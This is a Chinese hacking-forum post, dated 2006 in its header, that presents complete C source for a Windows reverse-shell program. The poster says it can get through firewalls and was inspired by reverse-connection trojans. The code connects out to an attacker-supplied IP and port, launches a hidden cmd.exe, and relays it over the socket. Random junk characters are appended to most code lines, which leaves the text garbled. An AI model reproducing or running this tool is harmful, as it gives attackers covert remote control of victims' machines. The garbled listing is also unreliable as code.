社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3287阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U`Jy!x2m  
CSbI85F  
/* ============================== !}\4u tHY  
Rebound port in Windows NT /<CSVJ_r  
By wind,2006/7 @\oz4^  
===============================*/ v]% WH~>  
#include dLsn\m>  
#include xCzebG["  
_ 7PMmW@  
#pragma comment(lib,"wsock32.lib") B()/.w?A  
Nfe>3uQK  
void OutputShell(); $I#q  
SOCKET sClient; b 6t}{_7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DcMJ^=r8O:  
vB37M@wm  
void main(int argc,char **argv) dt[k\ !-v  
{ mDGn:oRj  
WSADATA stWsaData; `6y{.$ z  
int nRet; P X;Ed*y  
SOCKADDR_IN stSaiClient,stSaiServer; /:<IIqO.  
~'5  
if(argc != 3) Uw-p758dD  
{ hqk}akXt  
printf("Useage:\n\rRebound DestIP DestPort\n"); LAx4Xp/  
return; 1iL 'V-y  
} 6OiSK@<Hk  
[U#72+K  
WSAStartup(MAKEWORD(2,2),&stWsaData); T&T/C@z'R  
58%'UwKn  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &bgvy'p  
P^MOx4  
stSaiClient.sin_family = AF_INET; ~.PO[hC  
stSaiClient.sin_port = htons(0); .0u/|Yx  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2M)]!lYy  
Tj~IaU  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S1_6C:^k  
{ qj0 1]  
printf("Bind Socket Failed!\n"); H4OhIxK  
return; ky>wOaTmN6  
} NVIK>cT6  
,U*)2`[  
stSaiServer.sin_family = AF_INET; 4> ^K:/y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r4x3$M c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5#3W5z  
 I~,G  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Vh3Ijn  
{ E6Rz@"^XV  
printf("Connect Error!"); sfr(/mp(  
return; y5= `ap  
} Ae^X35  
OutputShell(); p <eC<dtu  
} ~zm 7?_"@]  
TGuiNobD  
void OutputShell() m6eZ_ &+u  
{ q0%  
char szBuff[1024]; $(s\{(Wn  
SECURITY_ATTRIBUTES stSecurityAttributes; KPSh#x&I  
OSVERSIONINFO stOsversionInfo; oHM ]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O2{)WWOT  
STARTUPINFO stStartupInfo; h@7FY  
char *szShell; ?^' 7+8C*J  
PROCESS_INFORMATION stProcessInformation; I O%6 O  
unsigned long lBytesRead; dAP|:&y@  
2LCB])X  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?#0snlah|  
D PrBFmHF  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >}~#>Ru  
stSecurityAttributes.lpSecurityDescriptor = 0;  6,1b=2G  
stSecurityAttributes.bInheritHandle = TRUE; *KK+X07  
H@X oqgI  
_!xD8Di#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); < `qRA]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UX`]k{Mz  
EG'[`<*h  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rdJm{<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |5I'CNi\  
stStartupInfo.wShowWindow = SW_HIDE; xy+QbD T  
stStartupInfo.hStdInput = hReadPipe; W$dn_9W  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v]2S`ffP  
HQ9f ,<  
GetVersionEx(&stOsversionInfo);  O#nR>1h  
E}CiQUx  
switch(stOsversionInfo.dwPlatformId) R cY>k  
{ )T907I|  
case 1: 3`hUo5K  
szShell = "command.com"; >idBS  
break; ezhDcI_T  
default: KDi|(  
szShell = "cmd.exe"; |( (zTf  
break; RO\gax  
} R8*Q$rH<  
3 <|`0pt}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QVZD/shq  
d "BW/%m|g  
send(sClient,szMsg,77,0); z!=P@b  
while(1) _ |<d5TI  
{ J )BI:]m  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -@^Zq}  
if(lBytesRead) (VyNvB  
{ mtic>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U5Erm6U:  
send(sClient,szBuff,lBytesRead,0); Ot&:mT!2  
} fBBa4"OK=  
else 8$xPex~2  
{ ci,+Bjc  
lBytesRead=recv(sClient,szBuff,1024,0); fkfZ>D^1  
if(lBytesRead<=0) break; ?wMHS4  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q<e&0u4  
} Vi! Q  
} J2GcBzRH  
)g| BMmB  
return; 8B!aO/Km  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八